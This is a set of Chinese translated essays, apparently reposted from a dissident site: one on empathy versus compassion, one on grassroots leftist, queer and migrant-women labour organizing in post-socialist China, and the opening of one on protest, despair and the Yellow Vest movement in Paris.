不管我们是否有同理心，自闭症患者通常都是深具同情心的。那些被妖魔化更严重的人，比如那些有反社会人格障碍或边缘性人格障碍的人，也可以在没有同理心的情况下表现出同情。

你不必非得感受别人的感受才能关心他们的福祉。你只需要相信人的生命是有价值的，而人类应该尽可能地避免和减少痛苦。

不幸的是，许多具有高度同理心的人并没有意识到，没有同理心的人生可以和有同理心的人生一样拥有人际联系和爱。他们可能认为同理心是认真对待社会不公的唯一途径；有些人甚至认为共情本身就是一种表达同情的行为。

但事实并非如此。你不能只是对一个正在受苦的人进行深刻的共情。这和为他们祈祷一样毫无作用。如果你真的想改善一个人的处境，你必须投入时间和资源来实际地帮助他们。

同理心被高估了。对于那些体验过它的人来说，这似乎是既存的最真实的人际关系。但我是个同理心有限但却非常关心人类的人，相信我：你的同理心只是一种幻觉。它不能替代对他人、对他人可能所需的有意识思虑。

假如同理心让你产生改善人性的满满渴望，那很好。你只需要倾听这

种冲动 —— 把你的感受转化为直接的行动。而当你这么做的时候，不要把我们这些出于其他原因而采取行动的人妖魔化。〇

Empathy Is Overrated

原文

后社会主义中国左翼组织的新方向 - iyouport

关于中国社会社会反抗和思考

来自全球左翼的抵抗并没有以足够的历史和背景知识来回应中国的复杂性。

【本文来自 Upping The Anti，作者 IAN LIUJIA TIAN】

2017年11月11日，在保安的帮助下，警察闯入广东工业大学的一间教室，逮捕了8名学生。作为一个左翼学生读书会的成员，他们当时正在主持一场关于中国当代左翼政治的讨论。被捕者之一张云帆在网上发表的帖子中写道：

「在我们被逮捕时的读书会中，我们正在讨论过去几十年的社会问题和历史，如工人的地位问题。我们在问：年轻人如何思考和解决这些社会问题？我们确实谈到了二十九年前发生的事（指的是*1989*年）。但我们是 ‘太激进了’ 吗？当然，如果我们根据书本去定义 ’激进主义’ 的话。在中国，认识到社会问题就已经很 ‘激进’ 了；谈论如何解决这些问题则要 ‘激进’ 得更多。但是这个世界上每个国家都有自己的社会问题，不同的人以不同的方式处理这些问题。为什么这是非法的？」

该读书会的领导人张云帆被指控 “扰乱公共秩序”，因为他们被逮捕时没有携带身份证。后来，警察冲进该读书会的共同组织者郑永明的公寓，逮捕了他，并把他关在警察局里。另一名受害者是孙婷婷，她因刑事指控被拘留。还有四名幸运逃脱的学生成员被警方通缉。

逮捕行动的荒谬性遭到了其他左翼团体的反对。事实上，统治的场所就是反抗的场所。 全国各地的左翼组织者以及香港的左翼组织者在线上线下联合起来，揭示了非法警察暴力的极端性及其矛盾的主张。更重要的是，那些被逮捕的人一旦被暂时保释，就在社交媒体上发表了声明。警方没有料到这一点，因为他们认为学生会因为镇压的恐怖程度而保持沉默。最终，所有学生在**2018**年初被释放。

学生并不是唯一被警察盯上的人。例如，几位为珠江三角洲的移民工人提供免费法律咨询的左翼律师在2016年底也被逮捕。这些逮捕和拘

留表明，在后社会主义中国的背景下，围绕“社会主义”的定义展开了斗争。中国共产党（CCP）声称自己是社会主义性质的。由于本文的范围有限，无法全面解读中共对“社会主义”的坚称。然而，正如中国历史学家吴亦清在最近的一篇论文中指出的那样，随着国家资本主义形成的展开，这种“社会主义”的宣称并没有任何社会公正的意义。为了回应中国共产党是如何制定所谓的“社会主义”的，这篇文章提出了一些理论和实践，为中国的社会主义提供了有历史依据的概念。

- 如果您错过了《中国特色的反共》
- 《中共的大迂回：一个国家的诞生》

在后冷战和后社会主义时代的背景下讨论中国时，最好对两种归纳倾向都持谨慎态度。首先，是支持/反对国家立场之间的分歧。在没有充分了解复杂的中国现代民族国家项目的情况下，英语媒体，包括《异议》杂志这样的激进出版物，普遍认为任何反对国家主义的立场都是“激进”的。例如，像刘晓波这样支持自由市场的持不同政见者被打成“右派”；而实际存在的中国新左派被指认为“与中国国家合作”。其次，自由派和保守派媒体在描述中国时，都存在冷战时期的东方主义思维。冷战时期的东方主义被理解为冷战时期将共产主义国家“他者化”的延续，认为它们是“反常的、极权的、野蛮的和不民主的”，因此，这些国家未能达到“正常的、民主的和文明的”现代性。研究中国的学者们经常从这样的角度来批评中国政府，把中国的资本主义描绘成“失当的资本主义”，这是为了给新自由主义贴上“好资本主义”的政治品牌。

本文是针对这些流行的假设和二元论的反驳。接下来本文将首先对所谓的“向资本主义过渡”做一个简短但有历史依据的理解。第一节中提出的观点是，国家主义资本主义改革可能被理解为一场被动革命，以缓解文化大革命后的潜在群众组织化。第二，尽管全球资本主义的整合有助于稳定过去20多年来将“社会主义”作为一种话语部署的霸权政治精英，但主要在地下的理论和组织一直在发展，并为批判社会主义提供了可能性，这种社会主义类型有时与中共动员的国家社会主义话语有交集但也有分歧，一些左翼活动家称之为“皇马”（帝国主义马克思主义）。本文希望关注的不是中国或中共是否仍然是“社会主义”的；相反，这里感兴趣的是将社会主义从霸权主义和中央集权的国家带回到工作场所、血汗工厂和社区的日常斗争中。

关于中国社会主义、国家和阶级的一些说明

「图」

在许多马克思主义的著作中，当前的新自由主义时刻被叙述为与社会主义过去的彻底断绝。威廉·辛顿、马丁·哈特·兰兹伯格、和大卫·哈维的作品都对市场化后广泛的阶级分化表示哀叹【参见马丁·哈特·兰兹伯格和保罗·伯克特，《中国与社会主义》（2005年）；威廉·辛顿，《大逆转：中国的私有化 1978–1989》，（1990年）】

然而，这些理论假设：1）平等在国家社会主义时期就存在；2）资本主义转变的发生是因为毛泽东死了，“资本主义领路人” 邓小平获得了权力。然而这些假设不仅没有什么历史证据，而且也没有对资本主义改革是如何发生的、其背后的历史力量、以及中共领导人在什么历史条件下决定改革进行系统地分析。

本节内容将提供一种理解，既不浪漫化毛泽东社会主义时代（1949年至1976年），也不否认其遗产。这种解释的重点是中国共产党内部霸权力量的转移和重组，以及来自不同战线的反霸权力量。首先，不平等现象在整个毛主义社会主义时代持续存在，资本主义改革只是对这些不平等现象的重组。详细来说，在1950年代初期和中期，大规模的农业集体化和工业城市化并没有完全瓦解阶级。事实上，国家在没有监督机构的情况下直接控制资源，带来了新的不平等格局：1）高层官僚阶级比普通工人有更多机会获得政治和物质资源；2）只是理论上废除了私有财产，但实际上它创造了一种条件，即 一群政治精英通过控制中国的国家机器拥有生产资料。正如吴亦清所言，毛时代的中国农民和工人就像今天的农民工一样是无产阶级。

自**1970**年代末以来，国家主导的市场化和私有化扩大了这些持续的不平等。更具体地说，国有企业的私有化扩大了改革开放前已经存在的获得国家资源的不平等。私有化的过程产生了政治精英和资本之间的联盟，这可能被称为 “红色资产阶级”。在这个新的集团中，政治和官僚精英从他们对政治资源的垄断中获得了巨大的利益，以获取公共资产，最近还保护了资本主义的利益，那些主要是由于他们的政治特权而投资其中资本主义利益。

在过去的十年里，一个通过政府的恩惠和血缘关系（一些资本家实际上是政治精英成员的亲属）精心培养的资本家阶层已经变得很强大。例如，由万通医药股份有限公司、联想集团、阿里巴巴（互联网零售商）、华谊兄弟传媒集团、复星集团、帆海集团等公司总裁组成的泰山会，是中国最神秘的资本家圈子之一。因此，将中国的国家资本主义视为党国主导的社会工程进程是很有成效的，“低透明度和低福利” 的国家背景使得党国必须扮演积极的市场代理人和工程师角色。

第二，市场改革可以被看作是中共内部政治精英为平息文革后的政治动荡而进行的一场被动革命。对官僚阶级获得国家权力和资源的政治化的不满在文革后得以持续。这种民众的不满正好与生产停滞和工作破坏的增加相吻合。

在文化大革命和1976年的四五运动之后，1978年出现了民主墙运动。许多地下出版物促成了中国主要城市越来越多的墙报，批评“社会主义”国家内部的不平等。一场继承了文化大革命期间群众组织遗产的社会运动再次出现在地平线上。在这种深刻变革的边缘，政治精英们决定推进市场转型，作为“解决人们挫折感”的一个务实的办法。

这些反叛在1970年代末成为对政治精英的明显威胁；在这些强化的组织中，其领导人聚集在党的总部，宣布将党的目标转移到“社会主义现代化”。这就是市场改革的正式开始。从这个意义上说，1978–1980年对于党的方向乃至中国将要走的道路来说都是至关重要的。正是在这种情况下，毛泽东之后的资本主义道路应该被概念化为对文化大革命所释放的人民自我组织的回应，特别是在更激进的派系中。

可以把资本主义的转变看作是葛兰西（**Antonio Gramsci**）所言之被动革命，这是中国共产党为缓解基层民众的失望情绪和稳定其霸权地位而启动的战略。这些改革是以精心策划的方式进行的，以保持政治精英的完整。为向物质现代性过渡而设计的市场化不可避免地塑造了政府官员、普通中国人和中共的主观性。这些向资本开放的后果之一是加剧了阶级不平等，使全国的工人更加不满。另一个结果是反霸权的自我组织的崛起，它将具有革命性的和社会正义潜力的社会主义与作为国家言论的“社会主义”区别开来，后者缺乏社会正义和平等的意图（中共的意识形态）。前一种社会主义可以被称为批判性社会主义，因为它把社会主义带回了工厂和流民社区，提供了反霸权的潜力。

后社会主义中国的“批判性社会主义”

「图」

批判性社会主义是在当代后社会主义中国的新左派、自由派和新儒家的讨论中出现的。中国的新左派是在冷战后的背景下出现的。新左派的领军人物之一汪晖多次质疑对资本主义现代性的追求；其他一些人如高阳和崔致远从1990年代开始就开辟了一个“自由主义左派”的话语。总的来说，新左派学者承认中国当代的不平等是资本主义的直接结果；但他们在解决不平等问题的方法上却有分歧。一些人希望毛泽

东主义卷土重来，而另一些人则旨在在党国范围内构思摆脱中国过去的社会主义实践的方法。

自由派主张建立一个不受政府管制的市场，并认为日益扩大的不平等是由国家的过度存在产生的“黑帮逻辑”造成的。新儒家思想是一种日益重要的新兴公共话语，可以追溯到1980年代。保留传统主义以解释中国经济的昂贵和竞争力的“中国”模式，是李光耀等多位国家领导人的知名表述。在中国之外，新儒家思想认为改革派中国终于“回到了资本主义道路的轨道上”。例如，1989年之后，邓小平派代表到新加坡学习如何防止社会动乱的发生，儒家思想的复兴就出现了。

这些知识分子阵营塑造了中国社会主义政党政治的许多方面，然而却缺少基层的部分。事实上，知识分子的贡献往往忽略了普通工人的日常斗争，工人们表现出对正义和社会主义承诺的渴望。这种对社会主义的细微兴趣不同于1989年后经济新自由主义化所规定的自由派人格性，不符合国家社会主义的修辞。

社会主义的复苏，也就是此处所言之批判性社会主义，可以理解为源于基层组织的以社区为基础的社会主义，尽管一些组织者可能没有明确地认定为社会主义或马克思主义。

批判性社会主义与中国国家修辞上部署的“社会主义”有什么不同？本节将概述批判性社会主义的一些关键点。最具潜力部分在于可称为基于社区的和本地化的社会主义形式。此处的意图是挑战惯常所谓的社会主义本身，并主张在后社会主义中国种族资本的破坏性后遗症中，关注批判性和以社区为基础的社会主义。

谈到中国的社会主义，就会勾起人们对毛泽东时代的特别记忆。对于在改革时代（80年代后）成长起来的一代人来说，毛主义社会主义代表了一个对中国现代性的残暴和破坏的时代。将“社会主义”与创伤和混乱联系起来，往往会促使改革后的一代选择消费主义所承诺的未来。政治精英—资本集团围绕着这种忘记社会主义历史的愿望，建立了它的权力和发展主义的理由。

批判性社会主义可以被理解为一种将社会主义与中国党国脱钩的尝试。也就是说，我们正在见证一种反霸权的社会主义定义，它以劳工组织和工人权力为基础，而不是作为国家说辞的“社会主义”。佳士事件就是这样一个例子。2018年，中国的左派学生前往坪山，支持一家名为佳士的公司旗下工厂的罢工工人。工人和学生要求建立独立的工会，提高工资，以及取消军事化的劳动控制。经过10天的激烈抗议，当地警方最终逮捕了罢工者和示威者。

佳士事件受到国际关注，被西方媒体称为中国劳工组织的 “新时代”。然而，可以想象，这并不是一个特例，而是持续的劳工斗争的结果。在21世纪初，一群毛主义者来到了珠三角地区，希望将越来越多的农民工组织起来。随着时间的推移，他们的努力越来越多，新招募的人员包括刚毕业的大学生和工人。他们采取的一个策略是秘密地将地下劳工活动家安插在工厂工人队伍中。多年来，这一计划取得了一些成功，但劳工活动家仍然是零散的，成功的案例也是个别的。尽管如此，由于这些现有的关系，毛派学生和工人在最初的罢工开始几天后就迅速组织了佳士工人团结小组。

尽管如此，工人和佳士工人团结小组之间还是存在着围绕 “社会主义” 的矛盾。这种差异不应该被轻视。相反，它指出了这篇文章的核心：什么是社会主义组织？换句话说，工人的罢工努力能成为社会主义组织的一种形式吗？由于工人们并不精通社会主义或者毛泽东思想，因此很容易给出一个否定的答案。但作为一个组织者，应该知道以社区为基础和以工人为中心的方法是成功组织的关键，无论是否明确为社会主义。例如，工人们的挫折感来自于他们无法主宰自己的工作条件，无法形成独立的工会组织，这将是中国实现社会公正变革的第一步。

然而，团结小组的学生们却致力于社会主义，这种理论可能不会被工人们所认同。例如，在罢工前的整个互动中，社会主义的霸权话语从未出现在工人的讨论中。只有在毛派小组出现后，毛泽东主义和社会主义的口号才被调动起来。关键是要看到佳士出现的学生-工人团结，与工人自己指出的基于社区的社会主义可能性之间的这种紧张关系。

除了回归工人权力之外，批判性社会主义还通过与后社会主义中国的其他基层社会运动合并而与作为国家言论的 “社会主义” 相区别。与以西方为中心的叙事方式不同，即 把劳工、女权主义、同性恋和变性人的解放按顺序和线性的时间轴排列，在后社会主义中国组织起来的工人已经是性少数群体和妇女运动的解放的一部分。换句话说，相对于中共认可的社会主义有时在同性恋、变性人和妇女解放问题上的不足，批判性的、基于社区的社会主义一直在关注女权和性解放。本文作者所参与的一个团体就是这样的努力：酷儿工友（Ku’er Gongyou）。

“酷儿工友” 是一个为长三角地区的同性恋农民工提供服务的组织。它于2016年在苏州成立，旨在从左翼立场出发，促进同性恋的解放。坐落在农民工聚集的地区，它为许多被排除在车间圈子、乡村朋友和当地同性恋社区之外的人提供了宝贵的资源。除了组织像 “左翼看当代同志运动“ 这样的基层会议外，该组织还出版了他们的第一本书《社

会主义与同性恋解放》，该书在香港和台湾有售，但讽刺的是，在中国大陆没有出售。

同性恋工人与其他同性恋团体的不同之处或许在于其对劳工和工人权利的奉献，在这一点上他们采取了国际主义的视角。2019年，在台湾为中华航空公司工作的飞行员进行了罢工。在一个罢工不是常见策略的国家里，这场斗争吸引了很多人的注意。

“酷儿工友”虽然总部在中国，但却是唯一一个对航空公司工人表示声援的中国LGBTQ组织，并发表了一份由其他活动家签署的声明。他们的一些海报被分发到认同为性少数群体的农民工在线聊天群组中。

对于了解冷战时期中国地缘政治的人来说，“酷儿工友”的举动意义重大。首先，资本是跨国界流动的，因此工人的权利也应该困扰中国的民族主义。如果说，“工人没有国家”，那么以国际工人权利为中心就会挑战民族主义的边界制造。关于台湾和中国的地缘政治辩论是紧张的对话，然而，这些讨论中往往看不到为台湾外包工厂工作的中国农民工与台湾工人之间的联系。“酷儿工友”努力强调劳工斗争跨越国界的中心地位，确实为思考“两个中国”的地缘政治紧张局势提供了一个不同的方法。第二，“酷儿工友”不顾国家调解的民族主义言论与台湾接触，是一个勇敢的举动。对于同性恋工人来说，团结是至关重要的，因为除非该地区的工人在各种优先事项中认识到他们彼此间的共同点，否则同性恋和社会主义解放将无法实现。

在妇女解放和劳工的交叉点上，“尖椒部落”成为另一个重要组织。“尖椒部落”位于珠江三角洲，为该地区的外来女工发布帖子并组织线下活动。作为一个由工人领导的组织，它为后社会主义中国的自由主义女权主张提供了一个明确的替代方案。

例如，在2019年，该组织在深圳的工厂区组织了电影放映活动。不出所料，放映的电影是《美国工厂》，而不是《爆炸新闻》等影片。对于女工来说，工厂里的日常生活讲述了资本的暴力。电影结束后，在一些男女工人中流传的一句话是：“资本不姓中也不姓美，资本姓资”。

电影放映是一种富有成效的组织方式，因为工人可以看到自己是一个更大的生产系统的一部分，将自己与世界其他地区的工人联系起来。其他电影包括《女同工厂》，这是一部关于女同性恋移民工人要求工资的台湾电影。

此外，“尖椒部落”还发布了由女性移民工人写的诗歌。这些诗集强调

了全球种族资本的暴力，但也强调了对自由的渴望。这种基于欲望和女权主义的劳工问题处理方式，在后社会主义中国无疑是独一无二的。当代中国女权主义宣传的大部分内容都是围绕着表达压迫和揭示创伤而展开的。与这些方法相反的是，女工们通过博客，写下了她们在工厂的旅程和她们的梦想。然而，通过叙述梦想，读者看到了为更好的生活和未来所做的日常斗争。例如，其中一首诗是由一个流民父母的子女写的，他也是一名流民工人，诗中写道：

—— 无题 ——

这首诗是由一个叫季同(音)的年轻农民工写的，描述了摆脱束缚的愿望和自己所处的环境之间的障碍。从无根的失落感开始，描述了她在生活中被评判的日常经历。这些情况使她对自己的价值、目标和价值观产生怀疑。但是，尽管有障碍，她仍然坚持自己的精神。的确，她是一名斗士，一头需要解放的狮子。尽管她只能写作和保持沉默，但在沉默中，她愤怒了。

这首强有力的诗强调了在资本主义关系中自由的不可能性，但也强调了对解放的渴望，它为女工的组织和解放潜力提供了空间、时间和意向。尽管像写诗或放映电影这样的方法在北美的抗议现场可能被解读为 “去政治化”，但它们是后社会主义中国妇女组织的关键部分。

“酷儿工友”和 “尖椒部落” 等团体一直在努力为批判性社会主义寻找新的依据。他们的社会主义情感与党国的国家社会主义话语完全不同。他们对后社会主义时代的性解放和妇女解放的承诺，敦促他们从劳工斗争和工人组织的角度来思考这些问题。这些都是具有革命欲望的批判性社会主义的重要课程。工人和学生再一次建立起关系，从中国党国手中夺回社会主义，但这一次他们特别关注性少数群体和妇女的斗争。

结论

「图」

“好的国家资本主义/坏的市场资本主义” 和 “不民主的东方/民主的西方” 的二元论，只是阻碍了当代激进的政治想象力。来自全球左翼的抵抗并没有以历史和背景知识来回应中国的复杂性。本文中所说的中国的批判性社会主义要求学者们将社会主义的定义多样化，并将国家组织的社会主义地方化为实现反资本主义解放的唯一合法途径。

像 “酷儿工友” 这样的团体和广东工业大学的事件表明，全球左翼必

须在后社会主义中国的“城中村”景观中建立政治，而不是完全建立在反独裁主义的基础上，而是建立在批判性和基于社区的组织上。学者和活动家必须将自己视为自由主义项目的组成部分，该项目将中国打造成“失当的资本主义”，以至于在种族资本、商品和人员的跨国流通中忽略了中国精英阶层的作用。

同样，政治经济精英在全球种族资本主义中的作用对于批判性社会主义的批判同样重要。就全球资本主义的灵活构成而言，废除全球资本主义和任何地方激进计划是相互构成关系。中国在全球种族资本主义中的崛起，与多种形式的采掘制度密切相关。例如，在2017年，采矿业是中国在澳大利亚投资的最大部门，然而这些做法中有许多是在原住民的土地上进行的。【毕马威和悉尼大学，《解密中国在澳大利亚的投资》，2018年6月】

在加拿大，一个例子是中国国有企业中交国际有限公司收购爱康集团 Aecon 的失败。爱康公司参与了米克休克里族原住民社区领土的建设，以及 TransCanada 管道的建设。可以说，中国的收购与定居者殖民主义制度有关。

这种跨国资本的流动表明，全球团结是困难的，但却是非常必要的。通过概述批判性社会主义，本文将人们的经验和知识生产作为中心，而这些经验和知识生产在关于中国的地区研究和流行论述中经常被忽略。本文所描述的新兴组织形式将人们所熟知的社会主义地方化了。作为一个多元未来的占位符，批判性社会主义也许能从中国的国家建设和后社会主义转型的经验中提供一系列的可能性。○

Notes# The translation is mine. So are all the possible misconceptions and untranslatability. For the original text in Chinese, see Yunfan Zhang, “Wogui Renmin de Zibanshu (My Confession to the People),” 2018, from http://www.sdxf1917.tk/archives/20. ↩

- Michel Foucault, *The History of Sexuality: An Introduction, Volume 1*, trans. R. Hurley, (New York: Vintage Books, 1990), 101. ↩
- See Sui-Lee Wee, “China Arrests Four Labour Activists amid Crackdown,” *Reuters*, Jan 1, 2016, https://www.reuters.com/article/us-china-rights-idUSKCN0UO05M20160110; Chunhan Wong and Te-Pin Chen, “China: Court Sentences Labour Activist Lu Yuyu to 4 Years in Prison After Documentation of Labour Unrest,” Mar 27, 2019, https://www.business-

humanrights.org/en/china-at-least-19-labour-activists-detained-by-authorities-china-labor-watch-releases-statement-on-those-who-assisted-lide-shoe-factory-workers. ↩

- Yiching Wu, "The Strange Case of China: History, Class and Chinese Post-socialism," *Boundary* 2 46, no.2 (2019): 153. ↩
- Barry Sautman and Hairong Yan, "The 'Right Dissident': Liu Xiaobo and the 2010 Nobel Peace Prize," Positions 19 no.2 (2011): 581–613. https://doi.org/10.1215/10679847-1331832. Although I disagree strongly with Liu's politics, I do not think he should be jailed and kept in prison. My position is always in support of the abolition of the police and prisons, especially since I was also threatened and arrested by the Chinese police for my queer organizing work. ↩
- .The "New Left" (Xin Zuo Pai 新左派) is distinguished from the old, orthodox Maoist Left. Leading figures such as Wang Hui, Gao Yang, and Cui Zhiyuan perceive capitalism as the main factor contributing to an increasing rate of inequality in China and have been interested in collectivism in the socialist era. I have to note that these conversations happen outside of the Party ideology, but traces of writings seem to support state control of the economy. For a detailed introduction of the New Left, see François Lachapelle, Anshu Shi, and Matthew Galway, "The Recasting of Chinese Socialism: The Chinese New Left Since 2000," China Information 32, no. 1 (2018): 139-159. However, the New Left remains a collective of predominantly male intellectuals and sidelines women's issues in most of their discussions. For a discussion on the New Left's neglect of women's concerns, see Sharon R. Wesoky, "Bringing the Jia back to Guojia," *Signs* 40, no.3 (2015): 647-666. ↩
- Christina Klein, *Cold War Orientalism*, (Berkeley: University of California Press, 2003). ↩
- For some liberal critiques of the Chinese state, see André Laliberté and Marc Lanteigne, "The Issue of Challenges to the Legitimacy of CCP Rule," in *The Chinese Party-State in the 21st Century*, eds. André Laliberté and Marc Lanteigne, (Abingdon, UK: Routledge, 2008) 1-21; Peter Lorentzen, "Designing Contentious Politics in Post-1989 China," *Modern China* 43,

no.5 (2017): 459–93; Xiaoguang Kang and Heng Han, "Graduated Controls," *Modern China* 34, no.1 (2008): 26-55. DOI:10.1177/0097700407308138. For a critique of these liberal writings on China, see Patricia T. Clough and Craig Willse, "Human Security/National Security," in *Beyond Biopolitics*, eds. Patricia T. Clough and Craig Willse, (Durham, NC: Duke University Press, 2011), 57. ↩

- Yichi Wu, "Rethinking Capitalist Restoration in China," *Monthly Review* 57 (2005): 44-63. ↩
- Wu, "Rethinking Capitalist Restoration in China"; Wang Hui "The Historical Origin of Chinese Neoliberalism: Another Discussion on the Ideological Situation in Contemporary Mainland China and the Issue of Modernity," *The Chinese Economy* 36, no. 4 (2003): 10-13. DOI: https://www.tandfonline.com/doi/abs/10.1080/10971475.2003.11033470?journalCode=mces20. In Wang's article, he details how bureaucratic managers of state-owned enterprises sold resources during the period of rapid privatization. ↩
- Xie Lao, "A State Adequate to the Task: Conversations with Lao Xie," *Chuang* 闯, February 2019, http://chuangcn.org/journal/two/an-adequate-state/. For an English source on the "Taishan Club" (the Taishan Industrial Research Institute, founded in 1994), see Li Cheng, *Chinese Politics in the Xi Jinping Era: Reassessing Collective Leadership*, (New York: Brookings Institution Press, 2016), 174-5. ↩
- Hui Qin, "Zhongguo Qijide Zaojiu yu Weilai: Huiguo Gaigeikanfan Sanshinian (The Formation and Future of the China Miracle: A Personal View of China's Thirty Years' Reform)," *Southern Weekend*, February 24, 2008, http://www.aisixiang.com/data/17672.html ↩
- Fulong Wu, "How Neoliberal Is China's Reform?" *Eurasian Geography and Economics* 51, no. 5 (2010): 625. DOI: 10.2747/1539-7216.51.5.619 ↩
- Wu, "The Strange Case of China," 151. ↩
- Jo-his Chen, *Democracy Wall and the Unofficial Journals: An Annotated Bibliography Studies in Chinese Terminology*. (Berkeley: Center for Chinese Studies, University of California, 1982). ↩
- Yichi Wu, *The Cultural Revolution at the Margins: Chinese*

Socialism in Crisis, (Cambridge, MA: Harvard University Press, 2014); Shaoguang Wang, "New Trends of Thought During the Cultural Revolution," *Journal of Contemporary China* 8, no.21 (1999): 197-217. ↩

- Timothy Cheek, David Ownby, and Joshua Fogel, "Mapping the Intellectual Public Sphere in China Today," *China Information* 32, no.1 (2018): 108. DOI: org/10.1177/0920203X18759789 ↩
- Anshu Shi, François Lachapelle, and Matthew Galway, "The Recasting of Chinese Socialism," *China Information* 32, no.1 (2018): 147. doi.org/10.1177/0920203X18760416 ↩
- For some liberal publications that espouse the market, see: Xueqing Zhu, *Daodei lixiangguo de Fumie (The End of a Moralist Utopia)*, (Shanghai: Shanghai joint publishing, 2003); Jinglian Wu, "Zhongguo Gaige Jingru Shengshuiqu: Tiaozhang Quangui Zibenzhuyi (China's Reforms Have Entered Deepwater: The Struggle Against Crony Capitalism)," *Luye (Green Leaf)* ½ (2010): 90-5; Weiying Zhang, "The New Enlightenment of Reform: The Chinese Transformation Propelled by the Market of Thoughts," (Beijing: CITIC press group, 2014). ↩
- Ya-Chung Chuang, "Democracy Under Siege," *Boundary* 2 45, no.3 (2018): 70. ↩
- Arif Dirlik, "Forget Tiananmen, You Don't Want to Hurt the Chinese People's Feelings, and Miss Out on the Business of the New 'New China'!" *International Journal of China Studies* 5, no.2 (2014): 304. ↩
- Lisa Rofel, *Desiring China*, (Durham, NC: Duke University Press, 2007), 125-6. ↩
- Note that the CCP does have a national union, the All-China Federation of Trade Unions (ACFTU). Independent unions are illegal. ↩
- See the website for the Jasic Workers Solidarity Group: https://jiashigrsyt1.github.io/727oneyear/ ↩
- It remains to be seen how independent unions can work within a state that seeks to confine workers within the existing ACFTU. It is also worth noting that many workers in China are not unionized, such as those in temporary jobs, factories, and domestic work. Due to the limitation of space for this article, these discussions are unfortunately not

elaborated. ↩

- Personal Communication with Shen. ↩
- The older cohort, mostly those who lived through the Maoist socialist era, tend to invoke Mao's writing and thinking when they voice the support of workers' struggles in the post-socialist present. ↩
- See their website: https://site.douban.com/29 3169/ ↩
- For the poem in Chinese, see: http://jianjiaobuluo.com/content/107590 ↩
- John Holloway, "Global Capital and the Nation-State," *Capital and Class* 18, no. 1 (1994): 23-49. ↩
- The attempted buyout was blocked by the Canadian federal government, but the fact that Chinese capital tried to fund a company implicated in the settler-colonial project is indeed troubling. ↩

Socialism from the Grassroots

原文

在绝望的边缘 - iYouPort

社会反抗和思考

「图」

- 抗议不一定就能成功。但是只有抗议才能给你尊严，让人们感觉到人之所以为人。为什么说胜利并不重要？绝望的边缘究竟是什么样的风光？

「图」

巴黎 — 新古典主义的圣叙尔比斯教堂入口右侧是 Eugène Delacroix 的一幅大型壁画。画家在他的职业生涯结束时患上了结核性喉炎，死前他完成了这幅创世纪的作品。“雅各布带着羊群和其他礼物一起旅行。一个陌生人出现了，挡住他的道路，迫使他投入一场激烈的斗争 — 圣书将这场斗争视为审判的象征。”” Delacroix 在1861年完成这幅画时写道。

Delacroix 的作品展示了陌生人 — 一个天使 — 和雅各布在茂密的森林中的空地上厮打。雅各布弯下腰，背部是紧张的肌肉，试图反击站立着的天使。这幅壁画由多层油漆和大胆的粗线条组成，后来激发了很多印象派画家的灵感，这幅作品是 Delacroix 对自身内在斗争的证明 — — 他敏锐地感知到了很快会失败的斗争 — — 死亡。

Delacroix 问我们生命中的胜利究竟是什么？是什么赋予生命意义？我们怎么而活？为什么要与我们永远无法克服的势力作斗争？在圣经的故事中，雅各布在漫漫长夜的战斗中瘫倒，然后在黎明时分被离去的天使祝福。

这幅画上了题字是 “让我走出泥潭，让我不要沉沦”。在天花板上是 Archangel Michael 从天堂驱赶恶魔的画。教堂石墙上的一扇大窗户将阳光洒在画作上。

Delacroix 于1861年写道：“绘画嘲弄和折磨我的方式有千万种，那么，这种永恒的战斗如何不是让我失望，而是让我振作起来，如何不是令人沮丧，而是安慰呢？“

我们的价值是坚定的，画家试图向我们展示，不是通过我们在生活中所做的事，而是通过我们如何使用生活给予我们的东西。正是这种斗争的勇猛和坚定不断提升了我们，特别是当我们理解胜利最终是不可能的时候。

阿尔伯特·加缪（Albert Camus）回应了这种智慧，他写道，生活要求我们“être à la hauteur de son désespoir”- 上升到绝望的程度。

三个星期六之前，法国经历了连续第18个周末的抗议活动，这些抗议活动是针对总统伊曼纽尔马克龙的紧缩措施，对富人减税和公共服务私有化的诉讼，即黄背心。

被蒙面和暴力的 Black Bloc 成员渗透了香榭丽舍大街上的黄背心抗议活动。几十个 Black Bloc 的人砸碎了奢侈品商店的窗户，并焚烧了该市最著名的餐厅之一 Le Fouquet。莫名其妙地等待干预的警察最终使用橡皮子弹、催泪弹和水炮驱散抗议者。

在接下来的一周内，冲突和财产破坏的图像被反复播放。警察局长将被解雇。马克龙正在禁止香榭丽舍大街的抗议活动，并直接指挥部署在政府大楼外的6000名反恐士兵。黄背心组织者对 Black Bloc 提出的与非暴力抗议活动分离的诉状实际上被国家成功的妖魔化了 — 由广播媒体推动 — 声称抗议运动对公共秩序和安全构成威胁。

当香榭丽舍大街发生冲突时，大约2万名示威者挤在旧巴黎歌剧院外的街道上，抗议政府拒绝解决全球变暖危机。我和我的妻子也在这个非暴力抗议的人群中，媒体在很大程度上忽视了香榭丽舍大街上更加丰富多彩的场景。

与美国一样，法国的 **Black Bloc** 也是用来栽赃的，是合法化强大的维稳和监视的手段。我怀疑法国警察一直在等着动手，直到佩戴监视器的工作人员能够得到足够的戏剧性镜头。

任何镇压活动的目标都是对抗议活动泼脏水，将其描绘成暴力和危险的，以限制其动员大众的吸引力，减少其数量，并将其作为禁止任何异议的理由。

革命并不是关于宣泄的。并不是加入蒙面暴民的打砸抢。那只是青少年自恋的抗议，只是在庆祝一种自我毁灭性的超阳刚之气，同时也为警察和军队的镇压提供了动力。这种抗议疏远了权力结构中的那些人，所以它不是革命，如果革命要成功，就必须避免捍卫统治精英。它只生产短暂的抗议激情，**Black Bloc** 的积极分子以自我钦佩的态度

观看这场戏。这恰恰是政权喜欢的。

马克龙在骚乱发生后说："我们依附于宪法权利，但是我们通过各种方式让人们非常简单地想要破坏共和国，破坏事物并摧毁稳定，冒着让人们丧命的风险。"

黄背心在下一个周末继续返回巴黎和法国其他城市。但数字下降了一半。原本和平的游行再次被 Black Bloc 的暴力打乱，破碎的窗户和扔出的瓶子遍地都是。黄背心抗议者嘲笑 Black Bloc 特遣队是 casseurs（清障车）。黄背心游行者挥舞着白旗作为自身非暴力的象征。这似乎是一场失败的战斗。

自2015年巴黎恐怖袭击事件发生以来，法国一直处于官方指定的"紧急状态"。目前的危机只会增加在该市巡逻的全副武装士兵的存在。恐怖主义的威胁 — — 无论是来自激进的圣战分子还是 **Black Bloc** 的捣乱者，都已经被法国和其他国家的当权者用来寻求以所谓的"国家安全"为名义粉碎基本的公民自由和异议的手段。

